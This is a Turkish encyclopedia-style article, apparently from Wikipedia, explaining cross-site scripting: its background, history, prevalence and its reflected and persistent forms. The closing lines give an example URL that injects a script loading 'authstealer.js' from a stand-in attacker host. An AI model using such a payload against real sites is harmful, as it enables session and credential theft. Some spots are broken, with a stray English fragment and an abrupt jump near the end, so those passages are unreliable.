Siteler arası betik çalıştırma (, kısaca XSS), genellikle web uygulamalarında bulunan bir tür bilgisayar güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkân verir. Siteler arası betik çalıştırma açıklığı, saldırganlar tarafından aynı kök politikası gibi bazı erişim kontrollerini atlatmak için kullanılabilmektedir. Web sayfaları üzerinde gerçekleştirilen siteler arası betik çalıştırma saldırıları, 2007 itibarıyla Symantec'in raporladığı tüm güvenlik açıklıklarının yaklaşık olarak %84'ünü oluşturmaktadır.During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in Zafiyet içeren sitenin işlediği verinin hassasiyetine ve site sahibi tarafından uygulanan güvenlik tedbirlerine bağlı olarak, etkisi ufak bir aksamadan önemli bir güvenlik riskine kadar değişebilmektedir. == Arka plan == Web güvenliği, aynı kök politikası gibi güven unsurunun temelinde yatan mekanizmalar gibi pek çok mekanizmaya bağlıdır. Aynı kök politikası basitçe, eğer bir siteye (https://mybank.example1.com) ait içeriğe başka bir sistem üzerindeki kaynaklara erişim yetkisi verilmişse, bu siteye ait herhangi bir içeriğin de bu izinleri paylaşacağı ancak başka bir siteye (https://othersite.example2.com) ait içeriğin erişim için ayrıca izin alması gerektiğini ifade etmektedir. Siteler arası betik çalıştırma saldırıları, web tabanlı uygulamalardaki, bunların sunucularındaki veya gereksinim duydukları pluginlerdeki bilinen açıklıkları kullanmaktadır. Bunlardan birisini istismar ederek, saldırganlar zafiyet içeren siteden gelen içeriğin içerisine kötücül içeriği eklemektedir. Oluşan birleştirilmiş içerik istemci tarafındaki web tarayıcısına eriştiğinde, tamamı güvenilir kaynaktan alınmış olduğu için sisteme verilen izinlerle çalışmaktadır. Web sayfalarına kötücül betikleri enjekte etmenin yolunu bularak, saldırgan hassas sayfa içeriğine, oturum çerezlerine ve kullanıcı adına tarayıcı tarafından yönetilen diğer pek çok bilgiye yükseltilmiş erişim yetkileri elde edebilir. Siteler arası betik çalıştırma saldırıları, bir kod enjeksiyonu çeşididir. Microsoft siber güvenlik mühendisleri, "siteler arası betik çalıştırma" ifadesini Ocak 2000'de ortaya çıkarmıştır. "Siteler arası betik çalıştırma" ifadesi ilk olarak, hedeflenen alan adının güvenlik bağlamında saldırganın hazırladığı JavaScript kod parçasının çalıştırılabileceği bir şekilde, alakasız bir saldırgan sitesine ait veya ele geçirilmiş üçüncü parti bir web uygulamasının (yansıtılmış veya kalıcı olmayan bir XSS açıklığını kullanarak) yüklenmesini ifade ediyordu. Bu tanım daha sonra, bilgi güvenliği alanına yeni katılanlar için bir karışıklığa neden olacak şekilde, kalıcı ve JavaScript olamayan vektörleri (ActiveX, Java, VBScript, Flash veya HTML betikleri) de dahil edecek şekilde diğer kod enjeksiyonu türlerini de içerecek şekilde genişletilmiştir. XSS açıklıkları, 1990'lardan beri raporlanmakta ve istismar edilmektedir. Geçmişte etkilenmiş önemli siteler arasında Twitter, Facebook, MySpace, YouTube ve Orkut gibi sosyal medya siteleri bulunmaktadır. Siteler arası betik çalıştırma açıklıkları bu yüzden ara bellek taşması açıklığını geçerek en yaygın şekilde raporlanan güvenlik açıklığı olmuştur. 2007 yılında bazı araştırmacılar, web sitelerinin %68'inin XSS saldırılarına karşı açık olduğunu belirtmiştir. == Çeşitleri == Siteler arası betik çalıştırma açıklıklarının standartlaştırılmış tek bir sınıflandırması bulunmamaktadır, ancak uzmanların çoğunluğu en azından 2 ayrı sınıfa ayırmaktadır: kalıcı olmayan ve kalıcı. Bazı kaynaklar, geleneksel (sunucu tarafındaki kod kusurlarından kaynaklanan) ve DOM-tabanlı (istemci tarafındaki kod içerisinde) olarak iki ayrı gruba daha ayırmaktadır. === Yansıtılmış (kalıcı olmayan) === Kalıcı olmayan (veya yansıtılmış) siteler arası betik çalıştırma açıklığı en temel web açıklığıdır. Bu açıklık, web istemcisi tarafından, en yaygın olarak HTTP sorgu parametreleri üzerinden (örn. HTML formlarından), sağlanan veri, kullanıcı için bir sonuç sayfası göstermek ve oluşturmak için sunucu taraflı betikler tarafından düzgün bir şekilde sterilize edilmeden hızlıca kullanıldığında ortaya çıkmaktadır. HTML dokümanları kontrol ifadelerini, formatlamayı ve gerçek içeriği içeren düz ve seri bir yapıya sahip olduğu için, düzgün bir HTML kodlaması olmadan sayfada yer alan kullanıcının sağladığı geçerlenmemiş veri, markup enjeksiyonuna yol açabilmektedir. Potansiyel bir vektör örneği web sitesi arama motorudur: eğer birisi bir metin için arama yaparsa, arama metni, neyin aratıldığını belirtmek amacıyla hiçbir değişikliğe uğramadan sayfada tekrar gösterilmektedir. Eğer cevap paketi HTML kontrol karakterlerini filtrelemiyorsa veya reddetmiyorsa, bir siteler arası betik çalıştırma zafiyeti de beraberinde gelecektir. Yansıtılmış bir saldırı, genelde e-posta veya bir web sayfası üzerinden yapılmaktadır. Yem, XSS vektörü içeren ve güvenilir bir siteye işaret eden, masum görünümlü bir URL'dir. Eğer güvenilir site XSS vektörüne karşı korumasızsa, linke tıklanması kurban tarayıcısının enjekte edilen betiği çalıştırmasına yol açmaktadır. === Kalıcı === Kalıcı (veya depolanmış) XSS açıklığı, siteler arası betik çalıştırma açıklığının en yıkıcı çeşididir. Saldırgan tarafından sağlanan veri sunucuda saklandığında ve sonrasında diğer kullanıcıların düzenli gezinimi sırasında "normal" sayfa üzerinde kalıcı olarak gösterildiğinde ortaya çıkmaktadır. Tipik bir örneği, kullanıcıların diğer kullanıcıların okuması için HTML formatında mesajlar göndermesine izin veren çevrimiçi mesajlaşmadır. Örnek olarak, üyelerin ilgilerini çekebilecek diğer üyeleri bulmak için diğer üyelerin profillerini tarayabildikleri bir randevu sitesini düşünelim. Gizlilik nedeniyle, site herkesin gerçek adını ve e-posta adreslerini gizli tutmaktadır. Bu veriler sunucuda gizli olarak tutulmaktadır. Bir üyenin gerçek adının ve e-posta adresinin tarayıcı üzerinde gözüktüğü tek zaman üye giriş yaptığında olmaktadır ve başka hiçbir kimsenin bilgilerini görememektedirler. Bir saldırganın, Mallory'nin, siteye katıldığını ve sitede gördüğü insanların gerçek isimlerini öğrenmek istediğini varsayalım. Bunu yapabilmek için, diğer kullanıcıların tarayıcısında kendi profiline baktıklarında çalışacak bir betik yazar. Betik daha sonra bu bilgileri toplayan Mallory'e ait bir sunucuya mesaj gönderir. Bunu yapabilmek için, "Sizin için ideal ilk randevuyu tanımlayınız" sorusuna Mallory (normal gözükecek) kısa bir cevap verir, ancak cevabının sonuna isimleri ve e-posta adreslerini çalmak için yazdığı betiği ekler. Eğer betik ` olmaktadır - ki bu da istismar edilebilecek bir davranıştır. # Mallory açıklığı istismar etmek için bir URL oluşturur: ## `http://bobssite.org?q=yavru<script%20src="http://mallorysevilsite.com/authstealer.js">